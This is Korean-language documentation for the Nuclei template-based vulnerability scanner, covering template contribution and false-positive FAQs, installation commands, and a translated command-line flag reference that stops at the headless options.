Nuclei ํ…œํ”Œ๋ฆฟ์„ ์ปค๋ฎค๋‹ˆํ‹ฐ์— ๊ณต์œ ํ•ด์ฃผ์‹œ๋Š” ๊ฒƒ์€ ์–ธ์ œ๋‚˜ ํ™˜์˜ํ•ฉ๋‹ˆ๋‹ค. ํ…œํ”Œ๋ฆฟ์˜ ์„ธ๋ถ€์‚ฌํ•ญ๊ณผ ํ•จ๊ป˜ [GitHub issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=nuclei-template&template=submit-template.md&title=%5Bnuclei-template%5D+template-name)๋ฅผ ์—ด๊ฑฐ๋‚˜ ๋ณธ์ธ๋งŒ์˜ Nuclei ํ…œํ”Œ๋ฆฟ์„ ํฌํ•จํ•˜์—ฌ GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)์„ ๋ณด๋‚ด์ฃผ์„ธ์š”. ๋งŒ์•ฝ Github ๊ณ„์ •์ด ์—†๋‹ค๋ฉด, [discord server](https://discord.gg/projectdiscovery)๋ฅผ ์ด์šฉํ•˜์…”๋„ ๋ฉ๋‹ˆ๋‹ค.

??? warning "์ž˜๋ชป๋œ ๊ฒฐ๊ณผ๋ฅผ ์–ป์—ˆ์–ด์š”!"

text
Nuclei ํ…œํ”Œ๋ฆฟ ํ”„๋กœ์ ํŠธ๋Š” **์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ธฐ์—ฌํ•˜๋Š” ํ”„๋กœ์ ํŠธ**์ž…๋‹ˆ๋‹ค. ProjectDiscovery ํŒ€์€ ํ…œํ”Œ๋ฆฟ์ด ๋ณ‘ํ•ฉ๋˜๊ธฐ ์ „์— ์ˆ˜๋™์ ์œผ๋กœ ํ…œํ”Œ๋ฆฟ๋“ค์„ ๋ฆฌ๋ทฐํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿผ์—๋„, ์•ฝํ•œ matchers๋ฅผ ๊ฐ€์ง„ ์ผ๋ถ€ ํ…œํ”Œ๋ฆฟ๋“ค์€ ํ†ต๊ณผํ•  ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” ์ž˜๋ชป๋œ ๊ฒฐ๊ณผ๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **ํ…œํ”Œ๋ฆฟ์€ ๊ทธ matchers๋งŒํผ์˜ ์„ฑ๋Šฅ์„ ๋ƒ…๋‹ˆ๋‹ค.**

๋งŒ์•ฝ ํ…œํ”Œ๋ฆฟ์ด ๊ฑฐ์ง“๋œ ๊ฒฐ๊ณผ๋ฅผ ์ƒ์ƒํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ  ์‹ถ๋‹ค๋ฉด, ๋น ๋ฅด๊ฒŒ ๊ณ ์น˜๊ธฐ ์œ„ํ•œ ๋‹ค์Œ์˜ ๋ช‡ ๊ฐ€์ง€ ๋”ฐ๋ผํ•  ์ˆ˜ ์žˆ๋Š” ๋‹จ๊ณ„๋“ค์ด ์žˆ์Šต๋‹ˆ๋‹ค.

??? info "์ž˜๋ชป๋œ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ์•˜๋Š”๋ฐ, ์ •ํ™•ํ•œ์ง€ ๋ชจ๋ฅด๊ฒ ์–ด์š”."

    [Twitter](https://twitter.com/pdnuclei) ํ˜น์€ [Discord](https://discord.gg/projectdiscovery)์˜ DM์„ ํ†ตํ•ด ํ…œํ”Œ๋ฆฟ์˜ ํƒ€๋‹น์„ฑ์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

??? info "์ž˜๋ชป๋œ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ์•˜๋Š”๋ฐ, ์–ด๋–ป๊ฒŒ ๊ณ ์น  ์ง€ ๋ชจ๋ฅด๊ฒ ์–ด์š”."

    GitHub [issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=false-positive&template=false-positive.md&title=%5Bfalse-positive%5D+template-name+)๋ฅผ ์„ธ๋ถ€์‚ฌํ•ญ๊ณผ ํ•จ๊ป˜ ๋‚จ๊ฒจ์ฃผ์„ธ์š”. ๋ชจ๋‘๊ฐ€ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•˜๊ณ  ์—…๋ฐ์ดํŠธ ํ•˜๊ธฐ ์œ„ํ•ด ์ผํ•  ๊ฒƒ์ž…๋‹ˆ๋‹ค.

??? info "์ž˜๋ชป๋œ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ๋Š” ํ…œํ”Œ๋ฆฟ์„ ์ฐพ๊ณ , ์–ด๋–ป๊ฒŒ ๊ณ ์น˜๋Š” ์ง€ ์•Œ์•„์š”."

	์ˆ˜์ •ํ•œ ๋‚ด์—ญ์„ GitHub [pull request](https://github.com/projectdiscovery/nuclei-templates/pulls)๋ฅผ ํ†ตํ•ด ์ „๋‹ฌํ•ด์ฃผ์„ธ์š”.

??? warning "๋ชจ๋“  ํ…œํ”Œ๋ฆฟ์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์—†์–ด์š”!"

text
Nuclei ํ…œํ”Œ๋ฆฟ์—๋Š” ํผ์ง€ ๋ฐ ๋Œ€์ƒ ์‹œ์Šคํ…œ์— DoS๋ฅผ ์ดˆ๋ž˜ํ•  ์ˆ˜ ์žˆ๋Š” ๋‹ค์–‘ํ•œ ํ…œํ”Œ๋ฆฟ์ด ํฌํ•จ๋˜์–ด ์žˆ์Šต๋‹ˆ๋‹ค([๋ชฉ๋ก](https://github.com/projectdiscovery/nuclei-templates/blob/master/.nuclei-ignore) ์ฐธ์กฐ). ์ด๋Ÿฌํ•œ ํ…œํ”Œ๋ฆฟ๋“ค์ด ์‹ค์ˆ˜๋กœ ์‹คํ–‰๋˜์ง€ ์•Š๋„๋ก ํ…œํ”Œ๋ฆฟ์— ํƒœ๊ทธ๋ฅผ ๋‹ฌ๊ณ  ๊ธฐ๋ณธ ์Šค์บ”์—์„œ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฐ ํ…œํ”Œ๋ฆฟ๋“ค์€ `-itags` ์˜ต์…˜์„ ์‚ฌ์šฉํ•œ ๋ช…์‹œ์ ์ธ ๊ฒฝ์šฐ์—๋งŒ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

??? warning "Github์— ์žˆ๋Š” ํ…œํ”Œ๋ฆฟ์ด์ง€๋งŒ Nuclei๋กœ ์‹คํ–‰๋˜์ง€ ์•Š์•„์š”."

text
Nuclei ์‹คํ–‰ํŒŒ์ผ๋กœ ํ…œํ”Œ๋ฆฟ์„ ๋‹ค์šด๋ฐ›๊ฑฐ๋‚˜ ์—…๋ฐ์ดํŠธํ•  ๋•Œ, ํ•ญ์ƒ ์ตœ์‹  ๋ฒ„์ „์˜ ๋ฆด๋ฆฌ์ฆˆ์—์„œ ๋ชจ๋“  ๋‹ค์šด๋กœ๋“œ๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค. ๋ฆด๋ฆฌ์ฆˆ ์ดํ›„์— ์ถ”๊ฐ€๋œ ํ…œํ”Œ๋ฆฟ๋“ค์€ [master branch](https://github.com/projectdiscovery/nuclei-templates)์— ์กด์žฌํ•˜๊ณ  ์ƒˆ ๋ฆด๋ฆฌ์ฆˆ๊ฐ€ ์ƒ์„ฑ๋  ๋•Œ ์ถ”๊ฐ€๋ฉ๋‹ˆ๋‹ค.

File: docs/kr/nuclei/get-started.md

**Nuclei** ๊ธฐ๋Šฅ

!!! example "Features."

text
* HTTP | DNS | TCP | FILE ์ง€์›
* ์ˆ˜์ • ๊ฐ€๋Šฅํ•œ ํ…œํ”Œ๋ฆฟ
* ๋Œ€๊ทœ๋ชจ ์Šค์บ๋‹
* ๋Œ€์—ญ ์™ธ ๊ธฐ๋ฐ˜ ํƒ์ง€
* ๋ณธ์ธ๋งŒ์˜ ํ…œํ”Œ๋ฆฟ์„ ์‰ฝ๊ฒŒ ์ž‘์„ฑ๊ฐ€๋Šฅ

**Nuclei** ์„ค์น˜

=== "Go"

text
```
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
```

!!! info
    Nuclei๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์„ค์น˜ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ตœ์‹  ๋ฒ„์ „์˜ **Go** ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

=== "Brew"

text
```
brew install nuclei
```

!!! info
    **macOS** (or Linux) ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

=== "Docker"

text
```
docker pull projectdiscovery/nuclei:latest
```

=== "Github"

text
```
git clone https://github.com/projectdiscovery/nuclei.git; \
cd nuclei/v2/cmd/nuclei; \
go build; \
mv nuclei /usr/local/bin/; \
nuclei -version;
```

!!! info
    Nuclei๋ฅผ ์„ฑ๊ณต์ ์œผ๋กœ ์„ค์น˜ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ์ตœ์‹  ๋ฒ„์ „์˜ **Go** ๊ฐ€ ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

=== "Binary"

text
```
https://github.com/projectdiscovery/nuclei/releases
```

!!! tip
    - OS์— ๋”ฐ๋ผ ์ตœ์‹  ๋ฒ„์ „์˜ ์‹คํ–‰ํŒŒ์ผ์„ ๋‹ค์šด๋กœ๋“œ ํ•ฉ๋‹ˆ๋‹ค.
    - ์‹คํ–‰ํ•˜๊ธฐ ์œ„ํ•ด์„œ ์••์ถ•์„ ํ•ด์ œํ•ฉ๋‹ˆ๋‹ค.

Nuclei **ํ…œํ”Œ๋ฆฟ**

Nuclei๋Š” 2.4.0๋ฒ„์ „๋ถ€ํ„ฐ ํ…œํ”Œ๋ฆฟ์˜ ์ž๋™ ์—…๋ฐ์ดํŠธ/๋‹ค์šด๋กœ๋“œ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค. Nuclei-Templates ํ”„๋กœ์ ํŠธ๋Š” ์ง€์†์ ์œผ๋กœ ์—…๋ฐ์ดํŠธ๋˜๋Š” ํ…œํ”Œ๋ฆฟ ๋ฆฌ์ŠคํŠธ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ํ•ด๋‹น ๋ฆฌ์ŠคํŠธ๋Š” ์ปค๋ฎค๋‹ˆํ‹ฐ์—์„œ ๊ธฐ์—ฌํ•ด์ฃผ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

Nuclei๋Š” ์‹คํ–‰๋งˆ๋‹ค ์ƒ์„ฑ๋˜๋Š” ์ƒˆ๋กœ์šด ํ…œํ”Œ๋ฆฟ์„ ์ฒดํฌํ•˜๊ณ  ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•  ๋•Œ ์ž๋™์œผ๋กœ ์ตœ์‹  ๋ฒ„์ „์„ ๋‹ค์šด๋กœ๋“œ ๋ฐ›์Šต๋‹ˆ๋‹ค. ์ด ๊ธฐ๋Šฅ์€ ํ„ฐ๋ฏธ๋„ ํ˜น์€ ์„ค์ • ํŒŒ์ผ์—์„œ -duc, -disable-update-check ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ ์šฉํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Nuclei ์—”์ง„์€ -update ํ”Œ๋ž˜๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ตœ์‹  ๋ฒ„์ „์œผ๋กœ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

!!! tip
์ž์‹ ๋งŒ์˜ ๋…ํŠนํ•œ ํ…œํ”Œ๋ฆฟ์„ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์€ ํ•ญ์ƒ ๋‹ค๋ฅธ ์ด๋“ค๋ณด๋‹ค ์ž์‹ ์„ ์•ž์„œ๊ฒŒ ํ•ด์ค„ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

**Nuclei** ์‚ฌ์šฉ๋ฒ•

text
nuclei -h

์ด ๋ช…๋ น์–ด๋Š” nuclei์˜ ์‚ฌ์šฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. ์•„๋ž˜๋Š” ์ง€์›ํ•˜๊ณ  ์žˆ๋Š” ๊ธฐ๋Šฅ๋“ค์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

text
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.

Usage:
  nuclei [flags]

Flags:
TARGET:
   -u, -target string[]  ์Šค์บ”ํ•  URLs/hosts ๋Œ€์ƒ
   -l, -list string      ์Šค์บ”ํ•  URLs/hosts ๋Œ€์ƒ ๋ชฉ๋ก์ด ํฌํ•จ๋œ ํŒŒ์ผ ๊ฒฝ๋กœ(์ค„๋‹น ํ•˜๋‚˜์”ฉ)
   -resume string        resume.cfg๋ฅผ ์‚ฌ์šฉํ•œ ์Šค์บ” ์žฌ๊ฐœ(ํด๋Ÿฌ์Šคํ„ฐ๋ง์ด ๋น„ํ™œ์„ฑํ™”๋จ)

TEMPLATES:
   -nt, -new-templates          nuclei-templates์— ๊ฐ€์žฅ ์ตœ๊ทผ์— ์ถ”๊ฐ€๋œ ์ƒˆ ํ…œํ”Œ๋ฆฟ๋งŒ ์‹คํ–‰
   -as, -automatic-scan         ํƒœ๊ทธ ๋งคํ•‘์— ๋Œ€ํ•œ wappalyzer ๊ธฐ์ˆ  ํƒ์ง€๋ฅผ ์‚ฌ์šฉํ•œ ์ž๋™ ์›น ์Šค์บ”
   -t, -templates string[]      ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ ๋˜๋Š” ํ…œํ”Œ๋ฆฟ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -tu, -template-url string[]  ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ URL ๋ชฉ๋ก(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -w, -workflows string[]      ์‹คํ–‰ํ•  ์›Œํฌํ”Œ๋กœ ๋˜๋Š” ์›Œํฌํ”Œ๋กœ ๋””๋ ‰ํ„ฐ๋ฆฌ ๋ชฉ๋ก(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -wu, -workflow-url string[]  ์‹คํ–‰ํ•  ์›Œํฌํ”Œ๋กœ URL ๋ชฉ๋ก(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -validate                    nuclei๋กœ ์ „๋‹ฌ๋œ ํ…œํ”Œ๋ฆฟ ๊ฒ€์ฆ
   -tl                          ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ ๋ชฉ๋ก

FILTERING:
   -a, -author string[]              ์ž‘์„ฑ์ž๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -tags string[]                    ํƒœ๊ทธ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -etags, -exclude-tags string[]    ํƒœ๊ทธ๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ œ์™ธํ•  ํ…œํ”Œ๋ฆฟ(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -itags, -include-tags string[]    ํƒœ๊ทธ๊ฐ€ ๊ธฐ๋ณธ ๋˜๋Š” ๊ตฌ์„ฑ์— ์˜ํ•ด ์ œ์™ธ๋œ ๊ฒฝ์šฐ์—๋„ ์‹คํ–‰๋จ
   -id, -template-id string[]        ํ…œํ”Œ๋ฆฟ ID๋“ค์„ ๊ธฐ์ค€์œผ๋กœ ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -eid, -exclude-id string[]        ํ…œํ”Œ๋ฆฟ ID๋“ค์„ ๊ธฐ์ค€์œผ๋กœ ์ œ์™ธํ•  ํ…œํ”Œ๋ฆฟ(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„๋œ ํŒŒ์ผ)
   -it, -include-templates string[]  ํ…œํ”Œ๋ฆฟ์ด ๊ธฐ๋ณธ ๋˜๋Š” ๊ตฌ์„ฑ์— ์˜ํ•ด ์ œ์™ธ๋œ ๊ฒฝ์šฐ์—๋„ ์‹คํ–‰๋จ
   -et, -exclude-templates string[]  ์ œ์™ธํ•  ํ…œํ”Œ๋ฆฟ ๋˜๋Š” ํ…œํ”Œ๋ฆฟ ๋””๋ ‰ํ„ฐ๋ฆฌ(ํŒŒ์ผ๋กœ ๊ตฌ๋ถ„๋จ, ํŒŒ์ผ)
   -s, -severity value[]             ์‹ฌ๊ฐ๋„๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ. ๊ฐ€๋Šฅํ•œ ๊ฐ’: info, low, medium, high, critical, unknown
   -es, -exclude-severity value[]    ์‹ฌ๊ฐ๋„๋ฅผ ๊ธฐ์ค€์œผ๋กœ ์ œ์™ธํ•  ํ…œํ”Œ๋ฆฟ. ๊ฐ€๋Šฅํ•œ ๊ฐ’: info, low, medium, high, critical, unknown
   -pt, -type value[]                ํ”„๋กœํ† ์ฝœ ์œ ํ˜•์„ ๊ธฐ์ค€์œผ๋กœ ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ. ๊ฐ€๋Šฅํ•œ ๊ฐ’: dns, file, http, headless, network, workflow, ssl, websocket, whois
   -ept, -exclude-type value[]       ํ”„๋กœํ† ์ฝœ ์œ ํ˜•์— ๋”ฐ๋ผ ์ œ์™ธํ•  ํ…œํ”Œ๋ฆฟ. ๊ฐ€๋Šฅํ•œ ๊ฐ’: dns, file, http, headless, network, workflow, ssl, websocket, whois

OUTPUT:
   -o, -output string            ๋ฐœ๊ฒฌ๋œ ๋ฌธ์ œ/์ทจ์•ฝ์ ๋ฅผ ์“ฐ๊ธฐ ์œ„ํ•œ ์ถœ๋ ฅ ํŒŒ์ผ
   -sresp, -store-resp           nuclei์„ ํ†ตํ•ด ์ „๋‹ฌ๋œ ๋ชจ๋“  ์š”์ฒญ/์‘๋‹ต์„ ์ถœ๋ ฅ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ €์žฅ
   -srd, -store-resp-dir string  nuclei์„ ํ†ตํ•ด ์ „๋‹ฌ๋œ ๋ชจ๋“  ์š”์ฒญ/์‘๋‹ต์„ ์‚ฌ์šฉ์ž ์ง€์ • ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ €์žฅ(๊ธฐ๋ณธ "output")
   -silent                       ๊ฒฐ๊ณผ๋งŒ ํ‘œ์‹œ
   -nc, -no-color                ์ถœ๋ ฅ ๋‚ด์šฉ ์ƒ‰์ƒ ๋น„ํ™œ์„ฑํ™” (ANSI escape codes)
   -json                         JSONL(ines) ํ˜•์‹์œผ๋กœ ์ถœ๋ ฅ
   -irr, -include-rr             JSONL ์ถœ๋ ฅ์— ์š”์ฒญ/์‘๋‹ต ์Œ ํฌํ•จ(๊ฒฐ๊ณผ๋งŒ)
   -nm, -no-meta                 cli ์ถœ๋ ฅ์—์„œ ๊ฒฐ๊ณผ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์ถœ๋ ฅ ๋น„ํ™œ์„ฑํ™”
   -nts, -no-timestamp           cli ์ถœ๋ ฅ์—์„œ ๊ฒฐ๊ณผ ํƒ€์ž„์Šคํƒฌํ”„ ์ถœ๋ ฅ ๋น„ํ™œ์„ฑํ™”
   -rdb, -report-db string       nuclei ๋ณด๊ณ  ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค(๋ณด๊ณ ์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์œ ์ง€ํ•˜๋ ค๋ฉด ํ•ญ์ƒ ์ด๊ฒƒ์„ ์‚ฌ์šฉ)
   -ms, -matcher-status          ๋งค์น˜ ์‹คํŒจ ์ƒํƒœ ํ‘œ์‹œ
   -me, -markdown-export string  ๋งˆํฌ๋‹ค์šด ํ˜•์‹์œผ๋กœ ๊ฒฐ๊ณผ๋ฅผ ๋‚ด๋ณด๋‚ผ ๋””๋ ‰ํ„ฐ๋ฆฌ
   -se, -sarif-export string     ๊ฒฐ๊ณผ๋ฅผ SARIF ํ˜•์‹์œผ๋กœ ๋‚ด๋ณด๋‚ด๋Š” ํŒŒ์ผ

CONFIGURATIONS:
   -config string              nuclei ํ™˜๊ฒฝ ์„ค์ • ํŒŒ์ผ ๊ฒฝ๋กœ
   -fr, -follow-redirects      http ํ…œํ”Œ๋ฆฟ์— following redirects ํ™œ์„ฑํ™”
   -mr, -max-redirects int     http ํ…œํ”Œ๋ฆฟ์— ๋”ฐ๋ผ์•ผ ํ•  ์ตœ๋Œ€ ๋ฆฌ๋””๋ ‰์…˜ ์ˆ˜(๊ธฐ๋ณธ๊ฐ’ 10)
   -dr, -disable-redirects     http ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•œ ๋ฆฌ๋””๋ ‰์…˜ ๋น„ํ™œ์„ฑํ™”
   -rc, -report-config string  nuclei ๋ณด๊ณ  ๋ชจ๋“ˆ ํ™˜๊ฒฝ ์„ค์ • ํŒŒ์ผ
   -H, -header string[]        ํ—ค๋”:๊ฐ’ ํ˜•์‹์˜ ๋ชจ๋“  http ์š”์ฒญ์— ํฌํ•จํ•  ์‚ฌ์šฉ์ž ์ •์˜ ํ—ค๋”/์ฟ ํ‚ค(cli, file)
   -V, -var value              ํ‚ค=๊ฐ’ ํ˜•์‹์˜ ์‚ฌ์šฉ์ž ์ •์˜ ๋ณ€์ˆ˜
   -r, -resolvers string       nuclei์— ๋Œ€ํ•œ ๋ฆฌ์กธ๋ฒ„ ๋ชฉ๋ก์ด ํฌํ•จ๋œ ํŒŒ์ผ
   -sr, -system-resolvers      ์—๋Ÿฌ fallback์œผ๋กœ ์‹œ์Šคํ…œ DNS ๋ฆฌ์กธ๋น™ ์‚ฌ์šฉ
   -passive                    ์ˆ˜๋™ HTTP ์‘๋‹ต ์ฒ˜๋ฆฌ ๋ชจ๋“œ ํ™œ์„ฑํ™”
   -ev, -env-vars              ํ…œํ”Œ๋ฆฟ์—์„œ ํ™˜๊ฒฝ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ์„ค์ •
   -cc, -client-cert string    ์Šค์บ”๋œ ํ˜ธ์ŠคํŠธ์— ์ธ์ฆํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ์„œ ํŒŒ์ผ(PEM-encoded)
   -ck, -client-key string     ์Šค์บ”๋œ ํ˜ธ์ŠคํŠธ์— ์ธ์ฆํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํด๋ผ์ด์–ธํŠธ key ํŒŒ์ผ(PEM-encoded)
   -ca, -client-ca string      ์Šค์บ”๋œ ํ˜ธ์ŠคํŠธ์— ์ธ์ฆํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ํด๋ผ์ด์–ธํŠธ ์ธ์ฆ ๊ธฐ๊ด€ ํŒŒ์ผ(PEM-encoded)
   -sml, -show-match-line      ํŒŒ์ผ ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•ด ์ผ์น˜ํ•˜๋Š” ์ค„ ํ‘œ์‹œ, extractors์—์„œ๋งŒ ์ž‘๋™
   -ztls                       tls13์˜ ํ‘œ์ค€์œผ๋กœ autofallback๊ณผ ํ•จ๊ป˜ ztls ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ
   -sni string                 ์‚ฌ์šฉํ•  tls sni ํ˜ธ์ŠคํŠธ ์ด๋ฆ„(๊ธฐ๋ณธ: ์ž…๋ ฅํ•œ ๋„๋ฉ”์ธ ์ด๋ฆ„)

INTERACTSH:
   -iserver, -interactsh-server string  ์ž์ฒด ํ˜ธ์ŠคํŒ…๋œ ์ธ์Šคํ„ด์Šค์— ๋Œ€ํ•œ interactsh ์„œ๋ฒ„ URL (๊ธฐ๋ณธ: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
   -itoken, -interactsh-token string    ์ž์ฒด ํ˜ธ์ŠคํŒ…๋œ interactsh ์„œ๋ฒ„์— ๋Œ€ํ•œ ์ธ์ฆ ํ† ํฐ
   -interactions-cache-size int         ์ƒํ˜ธ ์ž‘์šฉ ์บ์‹œ์— ์œ ์ง€ํ•  ์š”์ฒญ ์ˆ˜ (๊ธฐ๋ณธ 5000)
   -interactions-eviction int           ์บ์‹œ์—์„œ ์š”์ฒญ์„ ์ œ๊ฑฐํ•˜๊ธฐ ์ „์— ๋Œ€๊ธฐํ•  ์‹œ๊ฐ„(์ดˆ) (๊ธฐ๋ณธ 60)
   -interactions-poll-duration int      ๊ฐ ์ƒํ˜ธ ์ž‘์šฉ ํด๋ง ์š”์ฒญ ์ „์— ๋Œ€๊ธฐํ•  ์‹œ๊ฐ„(์ดˆ) (๊ธฐ๋ณธ 5)
   -interactions-cooldown-period int    ์ข…๋ฃŒ ์ „ ์ƒํ˜ธ์ž‘์šฉ ํด๋ง์„ ์œ„ํ•œ ์ถ”๊ฐ€ ์‹œ๊ฐ„ (๊ธฐ๋ณธ 5)
   -ni, -no-interactsh                  OAST ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด interactsh ์„œ๋ฒ„ ๋น„ํ™œ์„ฑํ™”, OAST ๊ธฐ๋ฐ˜ ํ…œํ”Œ๋ฆฟ ์ œ์™ธ

RATE-LIMIT:
   -rl, -rate-limit int            ์ดˆ๋‹น ๋ณด๋‚ผ ์ตœ๋Œ€ ์š”์ฒญ ์ˆ˜ (๊ธฐ๋ณธ 150)
   -rlm, -rate-limit-minute int    ๋ถ„๋‹น ๋ณด๋‚ผ ์ตœ๋Œ€ ์š”์ฒญ ์ˆ˜
   -bs, -bulk-size int             ํ…œํ”Œ๋ฆฟ๋‹น ๋ณ‘๋ ฌ๋กœ ๋ถ„์„ํ•  ์ตœ๋Œ€ ํ˜ธ์ŠคํŠธ ์ˆ˜ (๊ธฐ๋ณธ 25)
   -c, -concurrency int            ๋ณ‘๋ ฌ๋กœ ์‹คํ–‰ํ•  ์ตœ๋Œ€ ํ…œํ”Œ๋ฆฟ ์ˆ˜ (๊ธฐ๋ณธ 25)
   -hbs, -headless-bulk-size int   ํ…œํ”Œ๋ฆฟ๋‹น ๋ณ‘๋ ฌ๋กœ ๋ถ„์„ํ•  ์ตœ๋Œ€ headless ํ˜ธ์ŠคํŠธ ์ˆ˜ (๊ธฐ๋ณธ 10)
   -hc, -headless-concurrency int  ๋ณ‘๋ ฌ๋กœ ์‹คํ–‰ํ•  ์ตœ๋Œ€ headless ํ…œํ”Œ๋ฆฟ ์ˆ˜ (๊ธฐ๋ณธ 10)

OPTIMIZATIONS:
   -timeout int                ํƒ€์ž„์•„์›ƒ ์ „ ๋Œ€๊ธฐ ์‹œ๊ฐ„(์ดˆ) (๊ธฐ๋ณธ 5)
   -retries int                ์‹คํŒจํ•œ ์š”์ฒญ์„ ์žฌ์‹œ๋„ํ•˜๋Š” ํšŸ์ˆ˜ (๊ธฐ๋ณธ 1)
   -ldp, -leave-default-ports  leave default HTTP/HTTPS ports (eg. host:80,host:443
   -mhe, -max-host-error int   ์Šค์บ”์„ ๊ฑด๋„ˆ๋›ฐ๊ธฐ ์ „์— ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ ์ตœ๋Œ€ ์˜ค๋ฅ˜ ์ˆ˜ (๊ธฐ๋ณธ 30)
   -nmhe, -no-mhe              disable skipping host from scan based on errors
   -project                    ํ”„๋กœ์ ํŠธ ํด๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋™์ผํ•œ ์š”์ฒญ์„ ์—ฌ๋Ÿฌ ๋ฒˆ ๋ณด๋‚ด์ง€ ์•Š์Œ
   -project-path string        ํŠน์ • ํ”„๋กœ์ ํŠธ ๊ฒฝ๋กœ ์„ค์ •
   -spm, -stop-at-first-path   ์ฒซ ๋ฒˆ์งธ ์ผ์น˜ ํ›„ HTTP ์š”์ฒญ ์ฒ˜๋ฆฌ ์ค‘์ง€ (template/workflow ๋กœ์ง์ด ์ค‘๋‹จ๋  ์ˆ˜ ์žˆ์Œ)
   -stream                     stream ๋ชจ๋“œ - ์ž…๋ ฅ์„ ์ •๋ ฌํ•˜์ง€ ์•Š๊ณ  elaborating ์‹œ์ž‘

HEADLESS:
   -headless            ํ—ค๋“œ๋ฆฌ์Šค ๋ธŒ๋ผ์šฐ์ € ์ง€์›์ด ํ•„์š”ํ•œ ํ…œํ”Œ๋ฆฟ ํ™œ์„ฑํ™”(root user on linux will disable sandbox)
